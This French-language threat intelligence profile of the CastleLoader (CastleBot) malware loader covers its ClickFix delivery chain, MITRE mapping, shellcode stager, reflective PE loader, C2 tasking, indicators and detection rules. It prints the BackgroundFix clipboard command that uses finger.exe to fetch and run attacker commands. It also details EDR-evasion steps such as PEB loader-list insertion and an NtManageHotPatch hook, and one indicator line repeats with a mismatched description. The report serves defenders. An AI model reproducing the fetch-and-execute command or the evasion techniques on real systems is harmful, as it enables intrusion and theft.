# CastleLoader Chargeur de logiciels malveillants en tant que service · Également suivi sous le nom CastleBot · Observé pour la première fois début 2025 · ## Présentation CastleLoader est une plateforme de logiciels malveillants en tant que service ciblant Windows, active depuis le début de l’année 2025. Les analyses publiques de logiciels malveillants suivent la même famille sous le nom CastleBot et la décrivent comme une plateforme à trois composants : un stager en shellcode, un chargeur PE et une porte dérobée principale. TAG-150 est associé aux activités de CastleLoader ainsi qu’à une famille apparentée de chevaux de Troie d’accès à distance appelée CastleRAT (variante Python : PyNightshade). La fonction de la plateforme est ciblée : établir une présence sur un terminal Windows sain, relever l’empreinte de l’hôte, s’enregistrer auprès du C2 et exécuter toute charge utile secondaire planifiée par l’opérateur. Les charges utiles dont la distribution a été confirmée comprennent NetSupport RAT, WARMCOOKIE (BadSpace), DeerStealer, RedLine, StealC, SectopRAT, Hijack Loader, MonsterV2 (Aurotun Stealer), Rhadamanthys et Remcos. Une onzième charge, un infostealer .NET personnalisé nommé « CastleStealer », a été documentée en avril 2026. Les rapports publics signalent que NetSupport et WARMCOOKIE ont déjà été liés à des opérateurs de ransomware, ce qui positionne CastleLoader comme un composant amont crédible dans les chaînes d’attaque de ransomware actuelles, même s’il ne déploie pas lui-même de ransomware. Sur le plan opérationnel, CastleLoader est important parce qu’il élimine l’artefact sur disque lors de l’accès initial. Les rapports publics font état de 1 634 tentatives d’infection et de 469 compromissions confirmées entre mai et juillet 2025, soit un taux de conversion de 28,7 %, particulièrement élevé pour un chargeur. Le ciblage est large mais cohérent : administrations américaines, sociétés de services IT, secteur de la logistique et infrastructures critiques en Amérique du Nord et en Europe. CastleLoader ne semble pas apparaître sur les places de marché du dark Web. Les rapports publics n’ont relevé aucune preuve de publicité ouverte, ce qui suggère un modèle d’affiliation fermé, réservé à des opérateurs approuvés. Cela complique l’attribution sans pour autant ralentir la diffusion. ### Profil de la menace Mis à jour le 11 mai 2026 | Type | Première observation | Opérateur | En aval | |---|---|---|---| | Chargeur (MaaS) | Début 2025 | TAG-150 | Opérations de ransomware | | Détails | Valeur | |---|---| | Alias | CastleBot | | Architecture | Stager → chargeur PE → porte dérobée principale | | Vecteurs de distribution | ClickFix · faux GitHub · portails de téléchargement empoisonnés par SEO · fausses pages de connexion/de document | | Algorithmes de hachage | DJB2 (stager/chargeur) · variante du hachage AP (composant principal) | | Protocole C2 | HTTP, conteneurs sérialisés chiffrés avec ChaCha20 | | Cibles principales | Terminaux Windows ; administrations américaines, IT, logistique, infrastructures critiques | | Logiciels malveillants associés | CastleRAT / PyNightshade, CastleStealer, crypteur Dave, Hijack Loader | ## Chaîne d’attaque opérationnelle : de ClickFix à CastleLoader 1. **Départ — Surface de leurre** - Empoisonnement SEO · faux GitHub · page ClickFix 2. **Étape 1 — Charge utile du presse-papiers** - JavaScript écrit la commande cmd dans le presse-papiers 3. **Étape 2 — Utilisateur : Win+R → coller → Entrée** - `finger.exe` / `curl` récupère l’étape suivante 4. **Étape 3 — Stager en shellcode** - Hachage DJB2 · parcours du PEB · déchiffrement XOR - AutoIt - `pythonw` - Dave 5. **Étape 4 — Le chargeur PE mappe le composant principal** - `NtAllocateVirtualMemory` · insertion dans `PEB_LDR` 6. **Étape 5 — Porte dérobée principale : attribution des tâches C2** - ChaCha20 · jeton User-Agent propre à chaque build 7. **Impact — Déploiement des charges utiles** - Infostealers · RAT · précurseurs de ransomware ClickFix constitue le principal mécanisme de distribution. Les téléchargements d’installateurs trojanisés par empoisonnement SEO ignorent les étapes 1 et 2 et entrent directement à l’étape 3. ## Tactiques, techniques et procédures CastleLoader correspond à plusieurs tactiques MITRE ATT&CK Enterprise. La plus forte densité de techniques se situe dans les phases Exécution et Contournement des défenses, ce qui est cohérent avec une plateforme conçue pour déjouer simultanément l’analyse fondée sur les signatures et la mise en correspondance des comportements. La carte de couverture ci-dessous combine les correspondances publiques de CastleBot, les observations de campagnes et la variante BackgroundFix divulguée en avril 2026. ### Couverture MITRE ATT&CK | Tactique | Techniques observées | |---|---:| | Reconnaissance | 0 | | Développement des ressources | 1 | | Accès initial | 2 | | Exécution | 9 | | Persistance | 1 | | Élévation de privilèges | 0 | | Contournement des défenses | 7 | | Accès aux identifiants | 0 | | Découverte | 3 | | Mouvement latéral | 0 | | Collecte | 0 | | Commande et contrôle | 3 | | Exfiltration | 0 | | Impact | 0 | ### Détail des techniques | Tactique | Techniques | Action de CastleLoader | |---|---|---| | Développement des ressources | [Empoisonnement SEO T1608.006](https://attack.mitre.org/techniques/T1608/006/) | Les attaquants utilisent de faux portails de téléchargement optimisés pour les moteurs de recherche, de faux référentiels GitHub et des pages Web similaires afin de préparer la distribution de CastleLoader avant l’exécution par l’utilisateur. Cela soutient l’accès initial, mais la technique elle-même est classée dans Développement des ressources plutôt que dans Accès initial. | | Accès initial | [Lien de spearphishing T1566.002](https://attack.mitre.org/techniques/T1566/002/)
[Compromission par navigation T1189](https://attack.mitre.org/techniques/T1189/) | Pages ClickFix sur le thème de Cloudflare, faux référentiels GitHub usurpant des outils fiables et faux sites de suppression d’arrière-plan suivis sous le nom BackgroundFix. De fausses pages de signature de documents et de connexion à des services d’identité ont également été observées en train de distribuer CastleLoader via ClickFix. | | Exécution | [PowerShell T1059.001](https://attack.mitre.org/techniques/T1059/001/)
[cmd.exe T1059.003](https://attack.mitre.org/techniques/T1059/003/)
[Python T1059.006](https://attack.mitre.org/techniques/T1059/006/)
[AutoIT T1059.010](https://attack.mitre.org/techniques/T1059/010/)
[Copier-coller malveillant T1204.004](https://attack.mitre.org/techniques/T1204/004/)
[Transfert d’outils entrant T1105](https://attack.mitre.org/techniques/T1105/)
[Regsvr32 T1218.010](https://attack.mitre.org/techniques/T1218/010/)
[Msiexec T1218.007](https://attack.mitre.org/techniques/T1218/007/)
[API native T1106](https://attack.mitre.org/techniques/T1106/) | Les victimes sont invitées à coller des commandes cmd ou powershell dans la boîte de dialogue Exécuter. Les variantes de type BackgroundFix appellent finger.exe vers un démon finger contrôlé par l’attaquant ; la réponse est analysée via `for /f "skip=8 delims="` et le contenu de la neuvième ligne est exécuté via `call`. Les étapes suivantes peuvent s’exécuter au moyen de `pythonw.exe` avec la distribution Python embarquable légitime, d’une distribution AutoIt via un script empaqueté, de commandes PowerShell, de commandes BAT, de l’exécution de DLL via `regsvr32.exe`, de l’exécution de MSI via `msiexec.exe` et de tâches reposant sur des API natives. La plateforme de tâches de juillet 2025 prend en charge neuf méthodes de lancement, notamment EXE, DLL, injection PE, PowerShell, BAT et MSI. | | Persistance | [Tâche planifiée T1053.005](https://attack.mitre.org/techniques/T1053/005/) | Selon l’analyse publique, le composant principal utilise l’interface COM ITaskService pour enregistrer une tâche planifiée déclenchée par `TASK_TRIGGER_LOGON`. La persistance est configurée par l’opérateur pour chaque tâche via le champ `startup_method = 1` et n’est pas systématique dans toutes les campagnes. | | Contournement des défenses (toutes les versions Windows prises en charge) | [Injection APC T1055.004](https://attack.mitre.org/techniques/T1055/004/)
[Process Hollowing T1055.012](https://attack.mitre.org/techniques/T1055/012/)
[Chargement réflexif de code T1620](https://attack.mitre.org/techniques/T1620/)
[Résolution dynamique d’API T1027.007](https://attack.mitre.org/techniques/T1027/007/)
[Contrôles du système T1497.001](https://attack.mitre.org/techniques/T1497/001/)
[Chargement latéral de DLL T1574.002](https://attack.mitre.org/techniques/T1574/002/) | Dans toutes les versions Windows prises en charge, le chargeur PE insère une structure `LDR_DATA_TABLE_ENTRY` et le `LDR_DDAG_NODE` correspondant dans les listes doublement chaînées `PEB_LDR_DATA` du processus hôte, de sorte que le PE injecté apparaisse comme une bibliothèque légitimement chargée lors de l’énumération des modules par l’EDR. Le stager résout les API à l’aide du hachage DJB2 et de valeurs de hachage encodées sur la pile, ce qui déjoue les recherches de modèles de chaînes. Les contrôles anti-VM utilisent l’instruction `cpuid` avec la feuille `0x40000000` pour détecter les signatures des hyperviseurs VMware et Parallels. | | Contournement des défenses (Windows 11 24H2+) | [Désactivation/modification des outils T1562.001](https://attack.mitre.org/techniques/T1562/001/) | Sous Windows 11 24H2 et versions ultérieures, CastleLoader utilise une voie de contournement supplémentaire propre au système d’exploitation : il intercepte `NtManageHotPatch` dans la mémoire de ntdll afin de contourner le nouveau contrôle d’intégrité mémoire. L’injection standard se poursuit ensuite via `QueueUserAPC` et `ResumeThread`, ce qui réduit le nombre d’appels `WriteProcessMemory` par rapport à l’ancienne voie d’injection. | | Découverte | [Informations système T1082](https://attack.mitre.org/techniques/T1082/)
[Propriétaire/utilisateur du système T1033](https://attack.mitre.org/techniques/T1033/)
[Heure système T1124](https://attack.mitre.org/techniques/T1124/) | Le composant principal énumère le nom d’utilisateur (`GetUserNameW`), le nom NetBIOS (`GetComputerNameW`), l’architecture (`IsWow64Process`), la version de Windows (`RtlGetVersion`) et le domaine DNS local (`LsaQueryInformationPolicy`). L’identifiant de victime est calculé à partir du numéro de série du volume (`GetVolumeInformationW`) au moyen d’un générateur congruentiel linéaire avec le multiplicateur `0x41C64E6D` et l’incrément `0x3039`. | | Commande et contrôle | [Protocoles Web T1071.001](https://attack.mitre.org/techniques/T1071/001/)
[Cryptographie symétrique T1573.001](https://attack.mitre.org/techniques/T1573/001/)
[Encodage des données T1132](https://attack.mitre.org/techniques/T1132/) | HTTP, et non HTTPS, vers une URL de base codée en dur. La récupération initiale des paramètres est une requête GET non chiffrée vers `/service/settings/`. Tout le trafic suivant est chiffré avec ChaCha20 au moyen de la clé et du nonce de la configuration intégrée. Le User-Agent est une chaîne alphanumérique aléatoire propre au build, `access_key` dans la configuration et également envoyée dans le corps chiffré, et non un véritable User-Agent de navigateur ou de robot. Les téléchargements du stager utilisent Googlebot comme User-Agent. | ### Étape 1 : la surface de leurre **Techniques :** T1566.002 · T1189 · T1608.006 (Développement des ressources) Les campagnes CastleLoader s’appuient sur trois surfaces de leurre convergentes. La principale repose sur une ingénierie sociale de type ClickFix. Les victimes arrivent sur une fausse page de vérification via des résultats de recherche Google empoisonnés ou du malvertising. Les thèmes documentés incluent des imitations de Cloudflare Turnstile, de fausses pages DocuSign et Okta, de fausses invites de mise à jour du navigateur et, depuis avril 2026, de faux sites d’édition d’images proposant de « supprimer l’arrière-plan » à l’aide de l’IA. L’analyse publique de la campagne BackgroundFix a révélé huit domaines apparentés utilisant le même modèle. Un JavaScript intégré écrit silencieusement une commande malveillante dans le presse-papiers via `document.execCommand("copy")` et contacte un terminal de journalisation au moyen de `navigator.sendBeacon`, fournissant à l’opérateur des données télémétriques sur les visiteurs atteignant l’étape du collage. La deuxième surface repose sur de faux référentiels GitHub. Les rapports publics documentent des référentiels usurpant des bibliothèques SQL Server Management Studio (SSMS-lib) et un connecteur client, afin de cibler les développeurs recherchant des outils fiables et d’exploiter l’idée selon laquelle un contenu hébergé sur GitHub serait nécessairement sûr. La troisième surface repose sur des installateurs trojanisés diffusés au moyen d’un empoisonnement SEO. Les rapports publics ont documenté des installateurs SSMS piégés ainsi que des packages de pilotes de chipset AMD proposés sur de faux portails de téléchargement mieux classés que les pages officielles des éditeurs. Cette voie contourne entièrement ClickFix. L’utilisateur clique sur Télécharger sur un site qui paraît légitime, puis exécute un installateur contenant un stager CastleLoader intégré, chargé latéralement au moyen d’un binaire signé et d’une DLL altérée. L’analyse publique des logiciels malveillants attribue, dans certaines campagnes, cette étape au crypteur Dave. ### Étape 2 : la charge utile du presse-papiers **Techniques :** T1059.001 · T1059.003 · T1204.004 La chaîne placée dans le presse-papiers varie selon les campagnes. La variante BackgroundFix documentée par une analyse publique en avril 2026 est la plus intéressante techniquement, car elle contourne entièrement PowerShell : ```batch %COMSPEC% /k start "" /min for /f "skip=8 delims=" %h in ('finger nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- ' ``` Quatre éléments interviennent : `start "" /min` lance l’étape suivante en mode réduit afin qu’aucune console ne s’affiche à l’écran. `finger.exe`, un binaire Windows fourni quasiment sans modification depuis NT, interroge un démon finger contrôlé par l’attaquant sur le port TCP 79 à l’adresse `cheeshomireciple[.]com`. La commande `for /f "skip=8 delims="` ignore les huit lignes de bannière renvoyées par défaut par un démon finger classique ; la neuvième ligne contient le corps réel de la commande, alimenté depuis le fichier `~/.plan` de l’opérateur avec des autorisations de lecture pour tous. `call %h` exécute le contenu de cette ligne comme une nouvelle commande. Le dernier `echo` sert uniquement à afficher l’invite « appuyez sur ENTRÉE » attendue par la victime et à parachever la mise en scène d’ingénierie sociale. La réponse renvoyée par `finger` est un script batch qui télécharge la distribution Python embarquable légitime de la Python Software Foundation depuis python.org, en la renommant avec une extension `.pdf` pendant le téléchargement, l’extrait avec `tar.exe`, puis lance `pythonw.exe` sur un stager Python. Celui-ci se décompresse en trois couches — base64, zlib et UTF-32 — avant de récupérer un second script Python qui remplace des caractères cyrilliques par leurs équivalents latins avant son propre décodage base64 (« Ф » → « / », « В » → « R », etc.) afin de déjouer les recherches naïves de chaînes. Le script Python final est un chargeur de shellcode `ctypes` qui appelle `HeapCreate(0x00040000)` (`HEAP_CREATE_ENABLE_EXECUTE`) et `HeapAlloc(0x00000008)` (`HEAP_ZERO_MEMORY`) pour créer en une seule étape une allocation de tas exécutable, puis transfère l’exécution au shellcode déchiffré via `CFUNCTYPE`. Les campagnes antérieures documentées par les analyses publiques utilisaient une variante PowerShell : `Invoke-WebRequest` téléchargeait une archive ZIP nommée d’après un GUID dans `%APPDATA%`, `Expand-Archive` la décompressait, puis le fichier `.au3` déposé était lancé au moyen de l’interpréteur AutoIt3 inclus. Les deux voies livrent le même stager en shellcode de l’étape 3. ### Étape 3 : le stager en shellcode **Techniques :** T1620 · T1027.007 · T1497.001 Le composant exécuté ensuite n’est pas CastleLoader à proprement parler. Il s’agit d’un shellcode distinct d’environ 8,6 Ko, que les rapports publics appellent le stager, conçu pour amorcer le chargeur PE et la porte dérobée principale sans écrire sur le disque. Sa première tâche consiste à construire une table de fonctions API sans utiliser les importations Windows habituelles. Le stager résout les API en parcourant le PEB et en appliquant le hachage DJB2 (initialisation à `5381`, multiplication par 33, puis ajout de chaque octet). Il déréférence les données du chargeur du PEB via `InLoadOrderModuleList`, parcourt chaque entrée, convertit en ASCII le nom de module UNICODE et le hache ; le résolveur d’exports parcourt ensuite `AddressOfNames`, hache chaque nom et recherche le RVA correspondant via `AddressOfNameOrdinals` et `AddressOfFunctions`. La recherche de hachage présente une particularité inhabituelle dans la variante BackgroundFix. Au lieu de transmettre le hachage cible comme argument de fonction, le résolveur le lit dans les 32 bits de poids fort de l’adresse de retour stockée sur la pile. Chaque site d’appel empile un littéral de 64 bits dont le dword inférieur est la sentinelle `0xFFFFFFFF` et le dword supérieur le hachage DJB2 attendu. Le résolveur vérifie le dword inférieur pour confirmer qu’une véritable adresse de retour a été empilée, puis compare le hachage de chaque export au dword supérieur. Les hachages deviennent ainsi invisibles à la plupart des recherches fondées sur des modèles de chaînes, car ils n’apparaissent que comme valeurs immédiates dans des instructions `push`, et non comme données. Le stager télécharge ensuite deux charges utiles via HTTP en utilisant `Googlebot` comme User-Agent codé en dur. Les analyses publiques documentent des URL de la forme `http:///service/download/data_3x.bin` et `/data_4x.bin`. Les deux charges sont déchiffrées par XOR au moyen d’une chaîne UTF-16 codée en dur ; dans l’échantillon publié, la clé était `GySDoSGySDoS`. Le déchiffrement produit deux artefacts : le PE intégré qui devient la porte dérobée principale et un stub de shellcode qui devient le chargeur PE. Le stager appelle ensuite `VirtualProtect` pour marquer la région du chargeur comme `PAGE_EXECUTE_READWRITE` et lui transmet comme argument un pointeur vers le PE déchiffré. La variante BackgroundFix utilise une technique de contournement supplémentaire. Au lieu d’effectuer un saut direct vers la charge utile déchiffrée de l’étape suivante, le shellcode lui transfère le contrôle via `ReplaceTextW`, l’API de la boîte de dialogue Rechercher et remplacer de Windows provenant de `comdlg32.dll`. Le shellcode construit sur la pile une structure `FINDREPLACEW` avec `FR_ENABLEHOOK` activé et `lpfnHook` pointant vers le point d’entrée de la charge utile. Windows appelle le hook lors de `WM_INITDIALOG` avant même l’affichage de la boîte de dialogue, ce qui transfère l’exécution sans produire le schéma évident « le shellcode saute vers sa propre mémoire tampon » surveillé par la plupart des EDR. ### Étape 4 : le chargeur PE **Techniques :** T1620 · T1055.012 Le chargeur PE CastleBot déchiffré est un chargeur PE réflexif complet. Il commence par appeler directement `NtAllocateVirtualMemory` plutôt que l’enveloppe `VirtualAlloc` — VirtualAlloc fait partie des API Win32 les plus souvent interceptées ; descendre d’un niveau permet donc de contourner entièrement ces hooks. Il mappe chaque section PE dans l’allocation, parcourt le répertoire de relocalisation afin de corriger les adresses absolues, résout les importations au moyen du même mécanisme de hachage DJB2 que le stager, définit les protections mémoire des sections et exécute les éventuelles fonctions de rappel TLS enregistrées. L’étape destinée à déjouer la détection intervient ensuite. Le chargeur crée une nouvelle structure `LDR_DATA_TABLE_ENTRY` ainsi que le `LDR_DDAG_NODE` correspondant, étendu dans Windows 8 et versions ultérieures, puis les ajoute aux listes doublement chaînées `PEB_LDR_DATA` du processus hôte. Pour les agents EDR qui énumèrent les modules chargés via le PEB, le PE injecté devient impossible à distinguer d’une DLL chargée par le chargeur Windows normal. Sauf si le fichier injecté est une DLL, le chargeur remplace également `PEB.ImageBaseAddress` par l’adresse de base de la nouvelle image ; les appels `GetModuleHandle(NULL)` suivants renvoient alors le PE injecté plutôt que le processus hôte, ce qui permet aux charges utiles conçues pour être l’EXE principal de se retrouver correctement. Dans une voie de secours, si l’allocation à l’adresse de base préférée du PE intégré échoue et que le PE ne possède aucun répertoire de relocalisation, le chargeur appelle directement `NtUnmapViewOfSection`, et non `UnmapViewOfFile`, pour évincer le module présent à cette adresse, selon une forme classique de process hollowing. La plupart des infections BackgroundFix n’utilisent pas cette voie, car l’injection se produit dans un processus `python.exe` nouvellement lancé, où l’adresse de base préférée est généralement libre. Lorsqu’elle est activée, la cible du démappage est le module qui se trouve à l’adresse préférée dans le processus hôte, et non un processus victime lancé séparément. Le chargeur PE transfère le contrôle au PE intégré en lisant `AddressOfEntryPoint` dans son en-tête facultatif, en l’ajoutant à la nouvelle adresse de base de l’image, en convertissant le résultat en pointeur de fonction, puis en l’appelant. L’exécution quitte alors le chargeur et se poursuit dans la porte dérobée principale. ### Étape 5 : la porte dérobée principale et l’attribution des tâches C2 **Techniques :** T1071.001 · T1573.001 · T1082 · T1106 La porte dérobée principale correspond à ce que la plupart des rapports publics nomment « CastleLoader » à proprement parler. Elle remplace la résolution d’API fondée sur DJB2 par une variante du hachage AP élaboré par Arash Partow (état initial `0xAAAAAAAA`, transformation des indices pairs `(state << 7) ^ (c * (state >> 3))`, transformation des indices impairs `~((state << 11) + (c ^ (state >> 5)))`). Cet algorithme diffère suffisamment de la routine de hachage du stager/chargeur pour qu’un outil de dépaquetage statique conçu pour l’un ne fonctionne pas sur l’autre. Au démarrage, le composant principal déchiffre sa configuration intégrée. Presque toutes les chaînes du binaire sont stockées en UTF-16 et déchiffrées en ligne au moyen d’une clé XOR unique de 4 octets par chaîne, plutôt que d’une clé maîtresse. La structure de configuration obtenue contient l’identifiant de campagne, l’URL de base du C2, la clé d’accès propre au build, utilisée à la fois comme User-Agent et comme champ `access_key` du corps, l’identifiant du mutex/de l’instance, la clé ChaCha20 de 32 octets et le nonce ChaCha20 de 12 octets. Le composant principal crée un mutex portant le nom de l’identifiant d’instance, qui limite à une seule instance par campagne sur l’hôte, puis envoie une requête HTTP GET non chiffrée à `http:///service/settings/`. La réponse est chiffrée avec ChaCha20 et contient quatre indicateurs contrôlés par l’opérateur : - `run_as_admin` : relance le processus parent via `ShellExecuteW` avec le verbe runas afin d’obtenir une élévation de privilèges. - `anti_vm` : exécute l’instruction `cpuid` avec la feuille `0x40000000` et recherche les signatures d’hyperviseur VMware ou Parallels ; quitte si elles sont détectées. - `prevent_restart` : crée un fichier masqué dans `C:\ProgramData\` comme marqueur de prévention de réinfection ; quitte si le fichier existe déjà. - `show_fake_error` : affiche une boîte de dialogue intitulée « System Error » contenant le message « The program can't start because VCRUNTIME140.dll is missing from your computer. Try reinstalling the program to fix this problem. » Le composant principal énumère ensuite l’hôte : nom d’utilisateur (`GetUserNameW`), nom NetBIOS (`GetComputerNameW`), domaine DNS local (`LsaQueryInformationPolicy`), architecture (`IsWow64Process`), version de Windows (`RtlGetVersion`) et identifiant de victime dérivé du numéro de série du volume au moyen d’un générateur congruentiel linéaire (multiplicateur `0x41C64E6D`, incrément `0x3039`). Il encapsule ces données dans le format de conteneur sérialisé avec la clé d’accès et l’identifiant de campagne, chiffre le tout avec ChaCha20, puis l’envoie par POST à `/service/tasks`. La réponse du C2 est un conteneur comprenant zéro ou plusieurs définitions de tâches. Chaque tâche possède un `id`, une `url` de récupération de la charge utile, un `install_path` qui peut être vide pour les tâches en mémoire, un chemin réel ou la valeur spéciale `:SELF:` signifiant une injection dans une copie du processus parent, un champ `argument`, des options de chiffrement (`is_encrypted_container` + `container_encryption_key` pour RC4), une option de persistance (`startup_method = 1` enregistre une tâche planifiée via COM `ITaskService` avec `TASK_TRIGGER_LOGON`) et le champ essentiel `launch_method`. La mise à jour de juillet 2025 a porté le nombre de méthodes de lancement de six à neuf : 1. EXE via CreateProcessW ou ShellExecuteW. 2. DLL via rundll. 3. DLL via regsrv32.exe. 4. DLL via LoadLibraryW. 5. Ancien mécanisme d’injection PE. 6. Injection PE via le chargeur PE et QueueUserAPC. 7. Commande PowerShell. 8. Commande BAT. 9. MSI via msiexec.exe. Un indicateur `wow64_bypass` impose l’exécution du binaire SysWOW64 32 bits. La méthode 6 constitue l’ajout opérationnel le plus important. Pour contourner le contrôle d’intégrité de la mémoire ajouté dans Windows 11 24H2, le chargeur intercepte `NtManageHotPatch` dans la mémoire de ntdll à l’aide d’une preuve de concept publique documentée par Hasherezade, puis utilise `QueueUserAPC` + `ResumeThread` afin de transférer l’exécution au stub du chargeur PE intégré dans le processus cible. Par rapport à une injection classique, cette méthode réduit fortement le nombre d’appels `WriteProcessMemory` interprocessus et laisse donc moins de signaux comportementaux. L’achèvement de la tâche est signalé par une requête HTTP GET à `/service/tasks/complete/id/` sur le même C2. ### Arborescence des processus #### Aspect de la chaîne d’attaque dans la télémétrie EDR ```text explorer.exe [PID 4124] // shell utilisateur normal └─ cmd.exe [PID 5612] /k start "" /min for /f ... Parent boîte de dialogue Exécuter └─ finger.exe [PID 6004] [user]@cheeshomireciple[.]com Port 79 sortant · T1071.001 └─ curl.exe [PID 7892] -o python.zip.pdf https://python.org/... // Python embarqué légitime, masque .pdf └─ tar.exe [PID 8011] -xf python.zip.pdf └─ pythonw.exe [PID 8344] .exe stager.py BYOI · T1059.006 └─ [Shellcode stager — en mémoire] Parcours PEB · DJB2 · ReplaceTextW transfert T1620 · T1027.007 └─ [Chargeur PE — en mémoire] NtAllocateVirtualMemory · insertion PEB_LDR T1055.012 └─ [Noyau CastleLoader — en mémoire] [aucun artefact disque] HTTP GET /service/settings/ UA : Récupération initiale non chiffrée HTTP POST /service/tasks (corps chiffré ChaCha20) T1071.001 · T1573.001 Distribution tâche launch_method ∈ {1..9} → CreateProcessW / QueueUserAPC / msiexec / ... ``` ## Indicateurs de compromission Les indicateurs ci-dessous sont durables : chemins de fichiers, modèles comportementaux, signatures réseau et empreintes de protocole restés cohérents entre les campagnes CastleLoader et résistant à la rotation des variantes. Les adresses IP et les hachages C2 propres à chaque campagne changent chaque semaine et ne sont pas inclus ici. Consultez l’analyse publique de campagne et les référentiels publics d’IOC pour obtenir la liste actuelle. ### Chemins de fichiers et artefacts - `C:\ProgramData\` — Marqueur masqué de prévention de réinfection (indicateur prevent_restart). - `%ProgramData%\CeoliauD\Dabkina` — Chemin de dépôt de NetSupport, campagne BackgroundFix. - `%APPDATA%\Roaming\.exe` — `python.exe` renommé (BYOI) ; nom issu de la concaténation de `%RANDOM%` dans cmd. - `%APPDATA%\*.au3 + AutoIt3.exe` — Voie de distribution AutoIt documentée publiquement ; « freely.a3x » pour un échantillon précis. - `%TEMP%\*.zip (nommé selon un GUID)` — Conteneur ZIP déposé par ClickFix via PowerShell, dans les variantes antérieures. - `%TEMP%\python.zip.pdf` — Téléchargement Python intégré, variante BackgroundFix. ### Modèles d’arborescence des processus - `explorer.exe → cmd.exe → finger.exe` — Accès initial BackgroundFix, documenté par une analyse publique. - `explorer.exe → powershell.exe → Expand-Archive → AutoIt3.exe` — Voie PowerShell vers AutoIt documentée dans des campagnes publiques antérieures. - `cmd / finger → curl.exe → tar.exe → pythonw.exe` — Chaîne Python BYOI ; distribution Python embarquable légitime depuis python.org. - `[installateur trojanisé].exe → [binaire signé] → [DLL altérée]` — Chaîne de chargement latéral de DLL du crypteur Dave, pour les installateurs SSMS et chipset AMD. - `pythonw.exe → requête HTTP GET sortante /service/settings/...` — Modèle d’URI de connexion initiale de la porte dérobée principale. ### Comportement réseau - `Port TCP 79 sortant (finger) depuis un terminal` — Étape 2 de BackgroundFix ; aucun cas d’usage légitime sur les terminaux en 2026. - `URI : /service/settings/` — Requête GET initiale non chiffrée du composant principal. - `URI : /service/download/ (p. ex. data_3x.bin)` — Chemins de téléchargement des charges utiles du stager. - `URI : /service/tasks (POST) et /service/tasks/complete/id/N` — Points de terminaison de récupération et d’achèvement des tâches du composant principal. - `User-Agent : jeton alphanumérique aléatoire (~20 à 32 caractères)` — `access_key` propre au build du composant principal, identique au champ du corps. - `User-Agent : Googlebot depuis des processus non serveur` — Téléchargements du stager ; le véritable Googlebot ne provient jamais de terminaux. ### Artefacts mémoire et comportementaux - `Parcours du PEB depuis un shellcode de processus utilisateur` — Lectures de `fs:[0x30]` / `gs:[0x60]` en dehors du chargeur ntdll. - `Écriture dans la liste PEB_LDR_DATA depuis un processus utilisateur` — Insertion `LDR_DATA_TABLE_ENTRY` + `LDR_DDAG_NODE` documentée publiquement. - `Correctif en mémoire de ntdll!NtManageHotPatch` — Contournement du contrôle d’intégrité mémoire de Windows 11 24H2 documenté publiquement. - `Appel de ReplaceTextW avec FR_ENABLEHOOK` — Contournement de l’intégrité mémoire Windows 11 24H2, signalé publiquement. - `ReplaceTextW invocation with FR_ENABLEHOOK` — Transfert de l’étape 3 de BackgroundFix via le hook de boîte de dialogue comdlg32. ### Domaines de la campagne BackgroundFix - `ai-scan[.]digital` — Leurre BackgroundFix. - `bg-transparency[.]online` — Leurre BackgroundFix. - `bg-go[.]online` — Leurre BackgroundFix. - `background-off[.]com` — Leurre BackgroundFix. - `bg-ready[.]online` — Leurre BackgroundFix. - `bg-removerok[.]online` — Leurre BackgroundFix. - `background-ready[.]online` — Leurre BackgroundFix. - `backgroundformat[.]online` — Leurre BackgroundFix. ## Recommandations de détection CastleLoader est conçu pour déjouer l’analyse fondée sur les signatures : les charges utiles sont chiffrées en transit, déchiffrées uniquement en mémoire et ne sont jamais écrites sur le disque sous forme d’exécutables. La détection comportementale fonctionne parce que la chaîne associe l’activité du presse-papiers, l’utilisation de LOLBins peu courants, la manipulation du PEB et une connexion HTTP à la structure caractéristique, dans une séquence qu’aucune activité utilisateur légitime ne produit. ### 1. Corrélation entre le presse-papiers et les processus **Télémétrie :** Télémétrie des terminaux Contenu du presse-papiers comprenant les chaînes `cmd.exe /k`, `finger`, `powershell`, `Invoke-WebRequest`, `for /f "skip=` ou `pythonw`, suivi dans les 30 secondes de l’exécution de ces binaires avec `explorer.exe` comme processus parent. **Pourquoi cela fonctionne :** les utilisateurs légitimes collent très rarement ces chaînes dans la boîte de dialogue Exécuter. La fenêtre de 30 secondes permet de corréler le leurre et l’exécution tant que le contenu du presse-papiers est encore en mémoire et peut être inspecté. ### 2. Exécution de finger.exe depuis un contexte de shell utilisateur **Télémétrie :** Télémétrie EDR / des processus Tout appel de `finger.exe` avec un argument correspondant à `@` depuis un processus non administratif, en particulier lorsque `cmd.exe` ou `explorer.exe` est le parent. `finger.exe` est fourni avec Windows depuis NT, mais ne possède pratiquement plus aucun usage légitime sur les terminaux d’entreprise modernes. **Pourquoi cela fonctionne :** il s’agit du signal de diagnostic le plus précis de la chaîne BackgroundFix. Le client finger Win32 établit des connexions TCP/79 sortantes que quasiment aucun terminal d’entreprise ne devrait jamais générer. ### 3. Python « bring-your-own-interpreter » depuis des chemins accessibles en écriture à l’utilisateur **Télémétrie :** Télémétrie EDR / des processus Exécution de `pythonw.exe` ou `python.exe` depuis `%APPDATA%`, `%LOCALAPPDATA%` ou `%TEMP%`, en particulier lorsque la chaîne parente comprend `tar.exe` extrayant une archive portant une extension trompeuse (`.pdf`, `.txt`, `.dat`). **Pourquoi cela fonctionne :** les installations Python légitimes résident dans `C:\Python*` ou `%LOCALAPPDATA%\Programs\Python`. L’exécution de Python depuis un chemin AppData itinérant indique presque toujours qu’un adversaire apporte son propre interpréteur afin de contourner les listes d’autorisation des langages de script. ### 4. Manipulation de la liste de modules PEB_LDR_DATA **Télémétrie :** Télémétrie EDR / des rappels noyau Écritures dans les listes doublement chaînées `InLoadOrderModuleList` ou `InMemoryOrderModuleList` de `PEB_LDR_DATA` provenant de code utilisateur, notamment l’insertion de nouvelles paires `LDR_DATA_TABLE_ENTRY` + `LDR_DDAG_NODE` qui ne proviennent pas de `ntdll!LdrLoadDll`. **Pourquoi cela fonctionne :** c’est à cet instant que le chargeur PE rend son PE en mémoire visible à l’énumération des modules en espace utilisateur. Les appels `LoadLibrary` légitimes sont traités par le chargeur ntdll et traçables via les rappels noyau standard ; l’insertion directe dans les listes ne l’est pas. ### 5. Correctif en mémoire de NtManageHotPatch **Télémétrie :** Télémétrie EDR / de protection mémoire Écritures interprocessus ou intraprocessus dans l’export `NtManageHotPatch` de ntdll.dll. `NtManageHotPatch` ne devrait jamais être modifié en dehors de l’infrastructure de correctifs à chaud de Microsoft ; CastleLoader applique précisément un correctif en mémoire à cet endroit afin de 